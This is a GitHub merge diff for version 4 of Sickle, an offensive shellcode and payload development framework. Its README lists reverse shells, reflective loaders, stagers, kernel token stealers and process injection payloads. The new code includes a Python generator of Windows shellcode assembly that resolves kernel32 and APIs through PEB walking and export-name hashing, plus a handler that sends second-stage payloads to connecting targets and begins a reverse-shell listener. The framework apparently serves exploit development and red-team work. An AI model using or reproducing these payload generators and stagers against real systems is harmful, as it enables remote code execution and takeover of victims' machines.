Merge pull request #19 from wetw0rk/v4

Sickle v4
This commit is contained in:
Milton Valencia
2025-10-13 09:02:02 -05:00
committed by GitHub
24 changed files with 2044 additions and 964 deletions
+1
View File
@@ -21,3 +21,4 @@ src/sickle/common/headers/linux/__pycache__
src/sickle/common/handlers/__pycache__
src/sickle/modules/__pycache__
src/sickle/formats/__pycache__
src/sickle/modules/cert.pem
+30 -26
View File
@@ -1,6 +1,6 @@
# Sickle
![alt text](./docs/logo/panda_logo.png)
![alt text](./docs/logo/sickle-hallow-2025.png)
Sickle is a tool I originally developed to help me be more effective, in both developing and understanding shellcode. However, throughout the course of its development and usage It has evolved into a payload development framework. Although current modules are mostly aimed towards assembly, this tool is not limited to shellcode.
@@ -69,24 +69,27 @@ Although less common in 64-bit exploits, there may be instances where an exploit
Originally, this tool started as a single large script. However, as it evolved, I found myself needing to re-learn the code with each update. To address this, Sickle now follows a modular approach, allowing for new functionality to be added with minimal time spent re-learning the tool’s design.
```
$ sickle -l
sickle.py -l
Shellcode Ring Description
--------- ---- -----------
linux/x86/shell_reverse_tcp 3 Reverse shell via TCP over IPV4 that provides an interactive /bin/sh session
linux/x64/memfd_reflective_elf_tcp 3 Staged Reflective ELF Loader via TCP over IPV4 which executes an ELF from a remote server
linux/aarch64/memfd_reflective_elf_tcp 3 Staged Reflective ELF Loader via TCP over IPv4 which executes an ELF from a remote server handler
linux/aarch64/shell_reverse_tcp 3 Reverse Shell via TCP over IPv4 that provides an interactive /bin/sh session
linux/aarch64/memfd_reflective_elf_tcp 3 Staged Reflective ELF Loader via TCP over IPv4 which executes an ELF from a remote server handler
linux/x64/memfd_reflective_elf_tcp 3 Staged Reflective ELF Loader via TCP over IPV4 which executes an ELF from a remote server
windows/x86/shell_reverse_tcp 3 Reverse shell via TCP over IPv4 that provides an interactive cmd.exe session
windows/x64/egghunter 3 Egghunter based on Hell's Gate and NtProtectVirtualMemory
windows/x64/reflective_pe_loader 3 Stageless Reflective PE Loader that takes an x64 binary and executes it in memory
windows/x64/shell_reverse_tcp 3 Reverse Shell via TCP over IPv4 that provides an interactive cmd.exe session
windows/x64/virtualalloc_exec_tcp 3 A lightweight stager that connects to a handler via TCP over IPv4 to receive and execute shellcode
windows/aarch64/shell_reverse_tcp 3 Reverse Shell via TCP over IPv4 that provides an interactive cmd.exe session
windows/x64/virtualalloc_exec_https 3 A lightweight stager that connects to a handler over HTTPS to receive and execute shellcode
windows/x64/shell_reverse_tcp 3 Reverse Shell via TCP over IPv4 that provides an interactive cmd.exe session
windows/x64/reflective_pe_loader 3 Stageless Reflective PE Loader that takes an x64 binary and executes it in memory
windows/x64/virtualalloc_exec_tcp 3 A lightweight stager that connects to a handler via TCP over IPv4 to receive and execute shellcode
windows/x64/exec 3 Executes a command on the target host
windows/x64/egghunter 3 Egghunter based on Hell's Gate and NtProtectVirtualMemory
windows/x64/old_process_injection 3 Process injection using embedded 2nd stage shellcode
windows/x86/kernel_token_stealer 0 Token stealing shellcode for privilege escalation
windows/x64/kernel_token_stealer 0 Token stealing shellcode for privilege escalation
windows/x64/kernel_sysret 0 Generic method of returning from kernel space to user space
windows/x64/kernel_ace_edit 0 SID entry modifier for process injection
windows/x64/kernel_token_stealer 0 Token stealing shellcode for privilege escalation
Architectures
-------------
@@ -97,34 +100,35 @@ $ sickle -l
Modules Description
------- -----------
asm_shell Interactive assembler and disassembler
run Wrapper used for executing bytecode (shellcode)
badchar Produces a set of all potential invalid characters for validation purposes
format Converts bytecode into a respective format (activated anytime '-f' is used)
diff Bytecode diffing module for comparing two binaries (or shellcode)
handler Module for handling payload distribution and session management
disassemble Simple linear disassembler for multiple architectures
pinpoint Highlights opcodes within a disassembly to identify instructions responsible for bad characters
diff Bytecode diffing module for comparing two binaries (or shellcode)
run Wrapper used for executing bytecode (shellcode)
format Converts bytecode into a respective format (activated anytime '-f' is used)
Format Description
------ -----------
bash Format bytecode for bash script (UNIX)
hex Format bytecode in hex
perl Format bytecode for Perl
python Format bytecode for Python
num Format bytecode in num format
java Format bytecode for Java
rust Format bytecode for a Rust application
hex_space Format bytecode in hex, seperated by a space
c Format bytecode for a C application
python3 Format bytecode for Python3
bash Format bytecode for bash script (UNIX)
raw Format bytecode to be written to stdout in raw form
hex Format bytecode in hex
javascript Format bytecode for Javascript (Blob to send via XHR)
powershell Format bytecode for Powershell
uint8array Format bytecode for Javascript as a Uint8Array directly
escaped Format bytecode for one-liner hex escape paste
cs Format bytecode for C#
perl Format bytecode for Perl
nasm Format bytecode for NASM
dword Format bytecode in dword
ruby Format bytecode for Ruby
javascript Format bytecode for Javascript (Blob to send via XHR)
nasm Format bytecode for NASM
num Format bytecode in num format
cs Format bytecode for C#
raw Format bytecode to be written to stdout in raw form
rust Format bytecode for a Rust application
python Format bytecode for Python
escaped Format bytecode for one-liner hex escape paste
c Format bytecode for a C application
powershell Format bytecode for Powershell
hex_space Format bytecode in hex, seperated by a space
```
This approach allows each module the ability to generate detailed documentation for its functionality.
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.3 MiB

+5 -7
View File
@@ -1,6 +1,4 @@
from sickle.common.lib.generic.modparser import get_module_list
from sickle.common.lib.generic.modparser import get_truncated_list
from sickle.common.lib.generic.modparser import check_module_support
from sickle.common.lib.generic import modparser
class FormatHandler():
"""This class is responsible for calling the appropriate format module. All
@@ -34,7 +32,7 @@ class FormatHandler():
:rtype: FormatModule class
"""
format_module = check_module_support("formats", self.fmt)
format_module = modparser.check_module_support("formats", self.fmt)
if (format_module == None):
return None
@@ -46,8 +44,8 @@ class FormatHandler():
"""
# Obtain the list of formats and their respective desciptions
formats = get_module_list("formats")
descriptions = [check_module_support("formats", fmt).FormatModule.description
formats = modparser.get_module_list("formats")
descriptions = [modparser.check_module_support("formats", fmt).FormatModule.description
for fmt in formats]
# Obtain the largest format and format description string then calculate its
@@ -63,7 +61,7 @@ class FormatHandler():
print(f" {'------':<{max_format_len}} {'-----------'}")
for fmt, info in zip(formats, descriptions):
space_used = max_format_len + 4
out_list = get_truncated_list(f"{info}", space_used)
out_list = modparser.get_truncated_list(f"{info}", space_used)
for i in range(len(out_list)):
if i != 0:
print(f" {' ' * max_format_len} {out_list[i]}")
+5 -7
View File
@@ -1,6 +1,4 @@
from sickle.common.lib.generic.modparser import get_module_list
from sickle.common.lib.generic.modparser import get_truncated_list
from sickle.common.lib.generic.modparser import check_module_support
from sickle.common.lib.generic import modparser
class ModuleHandler():
"""This class is responsible for calling the appropriate development
@@ -23,7 +21,7 @@ class ModuleHandler():
"""Executes development module
"""
dev_module = check_module_support("modules", self.module)
dev_module = modparser.check_module_support("modules", self.module)
if (dev_module == None):
return -1
@@ -37,8 +35,8 @@ class ModuleHandler():
"""
# Get the list objects of data we'll be parsing
modules = get_module_list("modules")
descriptions = [check_module_support("modules", mod).Module.summary
modules = modparser.get_module_list("modules")
descriptions = [modparser.check_module_support("modules", mod).Module.summary
for mod in modules]
# Get the sizes needed to calculate output strings
@@ -54,7 +52,7 @@ class ModuleHandler():
for mod, info in zip(modules, descriptions):
space_used = max_mod_len + 4
out_list = get_truncated_list(f"{info}", space_used)
out_list = modparser.get_truncated_list(f"{info}", space_used)
for i in range(len(out_list)):
if i != 0:
print(f" {' ' * max_mod_len} {out_list[i]}")
@@ -1,6 +1,4 @@
from sickle.common.lib.generic.modparser import get_module_list
from sickle.common.lib.generic.modparser import get_truncated_list
from sickle.common.lib.generic.modparser import check_module_support
from sickle.common.lib.generic import modparser
class ShellcodeHandler():
"""This class is responsible for calling the appropriate shellcode module.
@@ -25,7 +23,7 @@ class ShellcodeHandler():
:rtype: bytes
"""
payload_module = check_module_support("payloads", self.payload)
payload_module = modparser.check_module_support("payloads", self.payload)
if (payload_module == None):
return None
@@ -40,9 +38,9 @@ class ShellcodeHandler():
"""
# Obtain the list objects of data we'll be parsing
payloads = get_module_list("payloads")
payloads = modparser.get_module_list("payloads")
sc_objects = [check_module_support("payloads", sc).Shellcode
sc_objects = [modparser.check_module_support("payloads", sc).Shellcode
for sc in payloads]
descriptions = [sc.summary for sc in sc_objects]
@@ -93,7 +91,7 @@ class ShellcodeHandler():
space_used = max_name_len + 8
for user in userland_stubs:
out_list = get_truncated_list(f"{user[3]}", space_used)
out_list = modparser.get_truncated_list(f"{user[3]}", space_used)
for i in range(len(out_list)):
if i != 0:
print(f" {' ' * max_name_len} {' ':^4} {out_list[i]}")
@@ -101,7 +99,7 @@ class ShellcodeHandler():
print(f" {user[0]:<{max_name_len}} {user[2]:^4} {out_list[i]}")
for kernel in kernel_stubs:
out_list = get_truncated_list(f"{kernel[3]}", space_used)
out_list = modparser.get_truncated_list(f"{kernel[3]}", space_used)
for i in range(len(out_list)):
if i != 0:
print(f" {' ' * max_name_len} {' ':^4} {out_list[i]}")
@@ -13,8 +13,6 @@ TH32CS_SNAPMODULE = 0x00000008
TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)
TH32CS_INHERIT = 0x80000000
# TODO: finish
class _PROCESSENTRY32(ctypes.Structure):
_fields_ = [
("dwSize", ctypes.c_int32), # DWORD
+62 -1
View File
@@ -40,7 +40,6 @@ MEM_PHYSICAL = 0x00400000
MEM_RESET_UNDO = 0x10000000
MEM_LARGE_PAGES = 0x20000000
IMAGE_SCN_MEM_DISCARDABLE = 0x02000000
IMAGE_SCN_MEM_NOT_CACHED = 0x04000000
IMAGE_SCN_MEM_NOT_PAGED = 0x08000000
@@ -324,3 +323,65 @@ class _IMAGE_IMPORT_BY_NAME(ctypes.Structure):
("Hint", ctypes.c_int16),
("Name", ctypes.c_char * 1)
]
# Access rights
READ_CONTROL = 0x00020000
WRITE_DAC = 0x00040000
WRITE_OWNER = 0x00080000
SYNCHRONIZE = 0x00100000
STANDARD_RIGHTS_REQUIRED = 0x000f0000
STANDARD_RIGHTS_READ = READ_CONTROL
STANDARD_RIGHTS_WRITE = READ_CONTROL
STANDARD_RIGHTS_EXECUTE = READ_CONTROL
STANDARD_RIGHTS_ALL = 0x001f0000
SPECIFIC_RIGHTS_ALL = 0x0000ffff
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
MAXIMUM_ALLOWED = 0x02000000
ACCESS_SYSTEM_SECURITY = 0x01000000
EVENT_QUERY_STATE = 0x0001
EVENT_MODIFY_STATE = 0x0002
EVENT_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3)
SEMAPHORE_QUERY_STATE = 0x0001
SEMAPHORE_MODIFY_STATE = 0x0002
SEMAPHORE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3)
MUTANT_QUERY_STATE = 0x0001
MUTANT_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|MUTANT_QUERY_STATE)
JOB_OBJECT_ASSIGN_PROCESS = 0x0001
JOB_OBJECT_SET_ATTRIBUTES = 0x0002
JOB_OBJECT_QUERY = 0x0004
JOB_OBJECT_TERMINATE = 0x0008
JOB_OBJECT_SET_SECURITY_ATTRIBUTES = 0x0010
JOB_OBJECT_IMPERSONATE = 0x0020
JOB_OBJECT_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3f)
TIMER_QUERY_STATE = 0x0001
TIMER_MODIFY_STATE = 0x0002
TIMER_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3)
PROCESS_TERMINATE = 0x0001
PROCESS_CREATE_THREAD = 0x0002
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_READ = 0x0010
PROCESS_VM_WRITE = 0x0020
PROCESS_DUP_HANDLE = 0x0040
PROCESS_CREATE_PROCESS = 0x0080
PROCESS_SET_QUOTA = 0x0100
PROCESS_SET_INFORMATION = 0x0200
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_SUSPEND_RESUME = 0x0800
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
PROCESS_SET_LIMITED_INFORMATION = 0x2000
PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0xffff)
-1
View File
@@ -1,4 +1,3 @@
# TODO: Consider renaming to read_from_file since this can be used by modules as well
def read_bytes_from_file(filename, mode="rb"):
"""This function is responsible for reading bytes from any file.
+84 -2
View File
@@ -266,7 +266,7 @@ def print_module_info(module_class, module_name):
info_field_max = max_arg_info
# Print the argument information with the calculation complete
print("Argument Information\n")
print("Argument Information:\n")
print(f" {'Name':<{max_arg_name}} {'Description':<{info_field_max}} {'Optional'}")
print(f" {'----':<{max_arg_name}} {'-----------':<{info_field_max}} {'--------'}")
@@ -316,6 +316,88 @@ def print_module_info(module_class, module_name):
print("")
# Information on each advanced argument for a given module (TODO: make a function since we do this 2 times)
try:
advanced_mod_args = m.advanced
except AttributeError:
advanced_mod_args = None
if (advanced_mod_args != None):
# Get the list of information we need to parse
arg_names = [arg_name for arg_name in advanced_mod_args.keys()]
descriptions = [advanced_mod_args[arg_name]["description"]
for arg_name in advanced_mod_args.keys()]
# Obtain the sizes needed to properly output information
max_arg_name = len(max(arg_names, key=len))
if max_arg_name < 0x0D:
max_arg_name = 0x0D
max_arg_info = len(max(descriptions, key=len))
# Account for everything used in the output string aside from the description
space_used = max_arg_name # Longest argument name
space_used += 8 # Length of the "Optional" string
space_used += 4 # Spaces used in the out string proir to modification
# Save space and used whatever is smaller the truncated space or terminal space
info_field_max = get_truncated_max(space_used)
if max_arg_info < info_field_max:
info_field_max = max_arg_info
# Print the argument information with the calculation complete
print("Advanced Argument Information:\n")
print(f" {'Name':<{max_arg_name}} {'Description':<{info_field_max}} {'Optional'}")
print(f" {'----':<{max_arg_name}} {'-----------':<{info_field_max}} {'--------'}")
for arg_name, _ in advanced_mod_args.items():
description = advanced_mod_args[arg_name]["description"]
optional = advanced_mod_args[arg_name]["optional"]
out_list = get_truncated_list(f"{description}", space_used)
for i in range(len(out_list)):
if i != 0:
print(f" {' ' * max_arg_name} {out_list[i]}")
else:
print(f" {arg_name:<{max_arg_name}} {out_list[i]:<{info_field_max}} {optional:>8}")
print("")
if ("options" in advanced_mod_args[arg_name].keys()):
supported_options = advanced_mod_args[arg_name]['options']
# Obtain list objects of options and information
options, infos = zip(*supported_options.items())
# Calculate sizes
max_option_size = len(max(options, key=len))
if max_option_size < 0x0D:
max_option_size = 0x0D
max_info_size = len(max(infos, key=len))
space_used = max_option_size
space_used += 4
# Output the final results
print(f"Advanced Argument Options:\n")
print(f" {arg_name:<{max_option_size}} {'Description'}")
print(f" {'-'*len(arg_name):<{max_option_size}} {'-----------'}")
for opt, opt_desc in supported_options.items():
out_list = get_truncated_list(f"{opt_desc}", space_used)
for i in range(len(out_list)):
if i != 0:
print(f" {' ' * max_option_size} {out_list[i]}")
else:
print(f" {opt:<{max_option_size}} {out_list[i]}")
print("")
print("Module Description:\n")
all_info = m.description.split('\n')
for line in all_info:
@@ -378,7 +460,7 @@ def argument_check(required_arguments, user_arguments):
if (fail_check == 1):
print(f"Missing arguments: {missing_args.rstrip(', ')}")
return None
exit()
for fd_arg, fd_var in final_dict.items():
if (len(fd_var) < 1):
+452
View File
@@ -0,0 +1,452 @@
import struct
from sickle.common.lib.generic import convert
from sickle.common.lib.reversing import smartarch
from sickle.common.headers.windows import (
winnt,
ntdef,
winternl,
)
class WinRawr():
"""This class is responsible for generating varous shellcode stubs in the "traditional"
manor you expect to see in most shellcode. Keep in mind there are multiple ways to do
what you see :P
"""
def __init__(self, storage_offsets, dependencies, stack_space, exitfunc):
self.storage_offsets = storage_offsets
self.dependencies = dependencies
self.stack_space = stack_space
self.exit_technique = exitfunc
def gen_source(self, main_func):
"""Generates basic windows shellcode
"""
if smartarch.arch_used == "x64":
src = self.get_prologue()
src += self.get_resolver()
src += main_func
if self.exit_technique != None:
src += self.get_epilogue()
src += self.get_kernel32_stub()
src += self.get_lookup_stub()
elif smartarch.arch_used == "x86":
src = self.get_prologue()
src += self.get_kernel32_stub()
src += self.get_lookup_stub()
src += self.get_resolver()
src += main_func
if self.exit_technique != None:
src += self.get_epilogue()
return src
def get_kernel32_stub(self):
"""Generates stub for obtaining the base address of Kernel32.dll
"""
if smartarch.arch_used == "x64":
stub = f"""
getKernel32:
push rbp
mov rbp, rsp
mov dl, 0x4b
getPEB:
mov rcx, 0x60
mov r8, gs:[rcx]
getHeadEntry:
mov rdi, [r8 + {winternl._PEB.Ldr.offset}]
mov rdi, [rdi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
search:
xor rcx, rcx
mov rax, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
mov rsi, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
mov rdi, [rdi]
cmp [rsi + 0x18], cx
jne search
cmp [rsi], dl
jne search
found:
leave
ret\n"""
elif smartarch.arch_used == "x86":
stub = f"""
getKernel32:
mov dl, 0x4b
getPEB:
xor ebx, ebx
xor ecx, ecx
mov bl, 0x30
mov edi, fs:[ebx]
mov edi, [edi + {winternl._PEB.Ldr.offset}]
mov edi, [edi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
search:
mov eax, [edi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
mov esi, [edi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
mov edi, [edi]
cmp [esi + 0x18], cx
jne search
cmp [esi], dl
jne search
found:
jmp resolveFunctions\n"""
return stub
def get_lookup_stub(self):
"""Generates the stub responsible for obtaining the base address of a function
"""
if smartarch.arch_used == "x64":
stub = f"""
lookupFunction:
push rbp
mov rbp, rsp
mov ebx, [rdi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
add rbx, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER64.DataDirectory.offset}
add rbx, rdi
mov eax, [rbx]
mov rbx, rdi
add rbx, rax
mov eax, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
mov r8, rdi
add r8, rax
mov rcx, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
parseNames:
jecxz error
dec ecx
mov eax, [r8 + rcx * 4]
mov rsi, rdi
add rsi, rax
xor r9, r9
xor rax, rax
cld
calcHash:
lodsb
test al, al
jz calcDone
ror r9d, 0xD
add r9, rax
jmp calcHash
calcDone:
cmp r9d, edx
jnz parseNames
findAddress:
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
add r8, rdi
xor rax, rax
mov ax, [r8 + rcx * 2]
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
add r8, rdi
mov eax, [r8 + rax * 4]
add rax, rdi
error:
leave
ret\n"""
elif smartarch.arch_used == "x86":
stub = f"""
lookupFunction:
push ebp
mov ebp, esp
sub esp, 0x08
xor ebx, ebx
mov [ebp - 0x04], ebx ; [EBP+0x08] will serve as a temporary register (x64 has less registers)
mov [ebp - 0x08], edx ; Argv passed into lookupFunction
mov ebx, [edi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
add ebx, {winnt._IMAGE_NT_HEADERS.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER.DataDirectory.offset}
add ebx, edi
mov eax, [ebx]
mov ebx, edi
add ebx, eax
mov eax, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
mov edx, edi
add edx, eax
mov ecx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
mov [ebp - 0x04], ebx ; Backup EBX since we are going to XOR it
parseNames:
jecxz error
dec ecx
mov eax, [edx + ecx * 4]
mov esi, edi
add esi, eax
xor eax, eax
xor ebx, ebx
cld
calcHash:
lodsb
test al, al
jz calcDone
ror ebx, 0xD
add ebx, eax
jmp calcHash
calcDone:
cmp ebx, [ebp - 0x08]
jnz parseNames
findAddress:
mov ebx, [ebp - 0x04] ; Restore EBX value prevously saved
mov edx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
add edx, edi
xor eax, eax
mov ax, [edx + ecx * 2]
mov edx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
add edx, edi
mov eax, [edx + eax * 4]
add eax, edi
error:
leave
ret
resolveFunctions:
mov edi, eax\n"""
return stub
def get_loader_stub(self, lib):
"""Generates the stub to load a library not currently loaded into a process
"""
if smartarch.arch_used == "x64":
lists = convert.from_str_to_xwords(lib)
write_index = self.storage_offsets['functionName']
stub = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
for i in range(len(lists["QWORD_LIST"])):
stub += " mov rcx, 0x{}\n".format( struct.pack('<Q', lists["QWORD_LIST"][i]).hex() )
stub += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(lists["DWORD_LIST"])):
stub += " mov ecx, dword 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
stub += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(lists["WORD_LIST"])):
stub += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
stub += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(lists["BYTE_LIST"])):
stub += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
stub += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
stub += f""" xor rcx, rcx
mov [rbp-{write_index}], cl
lea rcx, [rbp - {self.storage_offsets['functionName']}]
mov rax, [rbp - {self.storage_offsets['LoadLibraryA']}]
call rax"""
elif smartarch.arch_used == "x86":
lists = convert.from_str_to_xwords(lib, 0x04)
write_index = self.storage_offsets["functionName"]
stub = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
for i in range(len(lists["DWORD_LIST"])):
stub += " mov ecx, 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
stub += " mov [ebp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(lists["WORD_LIST"])):
stub += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
stub += " mov [ebp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(lists["BYTE_LIST"])):
stub += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
stub += " mov [ebp-{}], cl\n".format(hex(write_index))
write_index -= 1
stub += f"""
xor ecx, ecx
mov [ebp - {write_index}], cl
lea ecx, [ebp - {self.storage_offsets['functionName']}]
push ecx
mov eax, [ebp - {self.storage_offsets['LoadLibraryA']}]
call eax"""
return stub
def get_resolver(self):
"""This function is responsible for loading all libraries and resolving respective functions
"""
if smartarch.arch_used == "x64":
stub = ""
for lib, imports in self.dependencies.items():
if (lib != "Kernel32.dll"):
stub += self.get_loader_stub(lib)
stub += """
mov rdi, rax
"""
for func in range(len(imports)):
stub += f"""
get_{imports[func]}:
mov rdx, {convert.from_str_to_win_hash(imports[func])}
call lookupFunction
mov [rbp - {self.storage_offsets[imports[func]]}], rax
"""
elif smartarch.arch_used == "x86":
stub = ""
for lib, imports in self.dependencies.items():
if (lib != "Kernel32.dll"):
stub += self.get_loader_stub(lib)
stub += """
mov edi, eax
"""
for func in range(len(imports)):
stub += f"""
get_{imports[func]}:
mov edx, {convert.from_str_to_win_hash(imports[func])}
call lookupFunction
mov [ebp - {self.storage_offsets[imports[func]]}], eax
"""
return stub
def get_prologue(self):
"""This function will generate a generic function prologue based on the flags provided
by the user.
"""
if smartarch.arch_used == "x64":
stub = "_start:\n"
if self.exit_technique == "func":
stub += """ push rbp
mov rbp, rsp\n"""
stub += f" sub rsp, {self.stack_space}\n"
if self.exit_technique != "func":
stub += " and rsp, 0xfffffffffffffff0\n"
stub += """ call getKernel32
mov rdi, rax\n"""
elif smartarch.arch_used == "x86":
stub = "_start:\n"
if self.exit_technique == "func":
stub += f""" push ebp
mov ebp, esp\n"""
stub += f""" ; Allocate the stack space with the use of AL of EAX in order to avoid a NULL byte
xor eax, eax
mov al, {self.stack_space}
sub esp, eax\n"""
if self.exit_technique != "func":
stub += " and esp, 0xFFFFFFF0\n"
return stub
def get_epilogue(self):
"""This function will generate a generic function epilogue based on the flags provided
by the user.
"""
if smartarch.arch_used == "x64":
stub = ""
if self.exit_technique == "func":
stub += f"""fin:
leave
ret\n"""
elif self.exit_technique == "thread":
stub += f"""
; RAX => RtlExitUserThread([in] DWORD dwExitCode); // RCX => 0
call_RtlExitUserThread:
xor rcx, rcx
mov rax, [rbp - {self.storage_offsets['RtlExitUserThread']}]
call rax\n"""
elif self.exit_technique == "process":
stub += f"""
; RAX => ExitProcess([in] UINT uExitCode); // RCX => 0
call_ExitProcess:
xor rcx, rcx
mov rax, [rbp - {self.storage_offsets['ExitProcess']}]
call rax\n"""
elif self.exit_technique == "terminate":
stub += f"""
; RAX => TerminateProcess([in] HANDLE hProcess, // RCX => -1 (Current Process)
; [in] UINT uExitCode); // RDX => 0x00 (Clean Exit)
call_TerminateProcess:
xor rcx, rcx
dec rcx
xor rdx, rdx
mov rax, [rbp - {self.storage_offsets['TerminateProcess']}]
call rax\n"""
if smartarch.arch_used == "x86":
stub = ""
if self.exit_technique == "func":
stub += """fin:
leave
ret\n"""
elif self.exit_technique == "thread":
stub += f"""
; EAX => RtlExitUserThread([in] DWORD dwExitCode);
call_RtlExitUserThread:
xor ecx, ecx
push ecx
mov eax, [ebp - {self.storage_offsets['RtlExitUserThread']}]
call eax\n"""
elif self.exit_technique == "process":
stub += f"""
; EAX => ExitProcess([in] UINT uExitCode); // RCX => 0
call_ExitProcess:
xor ecx, ecx
mov eax, [ebp - {self.storage_offsets['ExitProcess']}]
call eax\n"""
elif self.exit_technique == "terminate":
stub += f"""
; EAX => TerminateProcess([in] HANDLE hProcess,
; [in] UINT uExitCode);
call_TerminateProcess:
xor ecx, ecx
push ecx
dec ecx
push ecx
mov eax, [ebp - {self.storage_offsets['TerminateProcess']}]
call eax\n"""
return stub
+7 -8
View File
@@ -1,15 +1,14 @@
import os
import sys
from sickle.common.lib.reversing.smartarch import set_arch
from sickle.common.lib.reversing import smartarch
from sickle.common.lib.generic import modparser
from sickle.common.lib.generic import extract
from sickle.common.handlers.format_handler import FormatHandler
from sickle.common.handlers.module_handler import ModuleHandler
from sickle.common.handlers.shellcode_handler import ShellcodeHandler
from sickle.common.lib.generic.modparser import print_module_info
from sickle.common.lib.generic.extract import read_bytes_from_file
class Handle():
"""This class should be looked at as the coordinator of the framework.
Execution flow is generally directed from here.
@@ -64,9 +63,9 @@ class Handle():
if (self.payload and self.module != "format"):
sys.exit(f"Payload and the module information at the same time? Go get some coffee..")
elif (self.module != "format"):
print_module_info("modules", self.module)
modparser.print_module_info("modules", self.module)
elif (self.payload):
print_module_info("payloads", self.payload)
modparser.print_module_info("payloads", self.payload)
else:
sys.exit(f"What do you want information for?")
@@ -91,13 +90,13 @@ class Handle():
# This is where we actually read the bytecode / binary data and assign it
# to the module_args dictionary.
if self.binfile:
read_bytes = read_bytes_from_file(self.binfile)
read_bytes = extract.read_bytes_from_file(self.binfile)
elif self.payload:
# Set the architecture before generating any shellcode. This is needed
# in order for structures to use the right pointer sizes. For example,
# x86 (4), x64 (8), and so on...
generator = ShellcodeHandler(self.payload, self.module_args)
self.module_args["architecture"] = set_arch(self.payload)
self.module_args["architecture"] = smartarch.set_arch(self.payload)
read_bytes = generator.get_shellcode()
else:
read_bytes = None
+4 -3
View File
@@ -3,9 +3,10 @@ import cmd
from sickle.formats import *
from sickle.common.lib.generic import convert
from sickle.common.handlers.format_handler import FormatHandler
from sickle.common.lib.reversing.assembler import Assembler
from sickle.common.lib.generic.convert import from_hex_to_raw
from sickle.common.lib.reversing.disassembler import Disassembler
class Module():
@@ -65,7 +66,7 @@ class AsmShell(cmd.Cmd):
def do_d(self, line):
"""d [48ffc0]
Convert opcode to assembly language"""
raw_bytes = from_hex_to_raw(line)
raw_bytes = convert.from_hex_to_raw(line)
try:
results = self.disassembler.get_linear_sweep(raw_bytes)
@@ -91,7 +92,7 @@ class AsmShell(cmd.Cmd):
for i in range(len(encoding)):
hex_line += ("{:02x}".format(encoding[i]))
self.fm.raw_bytes = from_hex_to_raw(hex_line)
self.fm.raw_bytes = convert.from_hex_to_raw(hex_line)
opcode_line = self.fm.get_generated_lines(True, True)[0]
if (li['single line comment'] != None):
+248
View File
@@ -0,0 +1,248 @@
import os
import sys
import ssl
import time
import struct
import socket
import getpass
import threading
import http.server
import socketserver
from sickle.common.lib.generic import modparser
time_start = time.time()
class TCPStagerHandler(socketserver.StreamRequestHandler):
"""This class is responsible for handling incoming TCP based connections.
Wherein there is an expectation that the client expects a second stage to
be sent. That said upon recieving a connection this handler will send a
second stage to the target
"""
def handle(self):
"""Handles TCP connection
"""
log_print(f"Sending stage ({len(self.server.stage)} bytes) to {self.client_address[0]}\n")
self.request.send(struct.pack('<Q', len(self.server.stage)))
self.request.send(self.server.stage)
class SimpleTTYHandler(socketserver.StreamRequestHandler):
"""This class is responsible for handling incoming TCP based reverse shells.
Consider this to operate in a similiar fashion to a standard netcat. As the
module gets updated it will be able to handle common mistakes made by users
such as hitting [CTRL] + [C].
"""
def handle(self):
"""Handles the TCP session
"""
log_print(f"Connection established with {self.client_address[0]}\n\n")
while True:
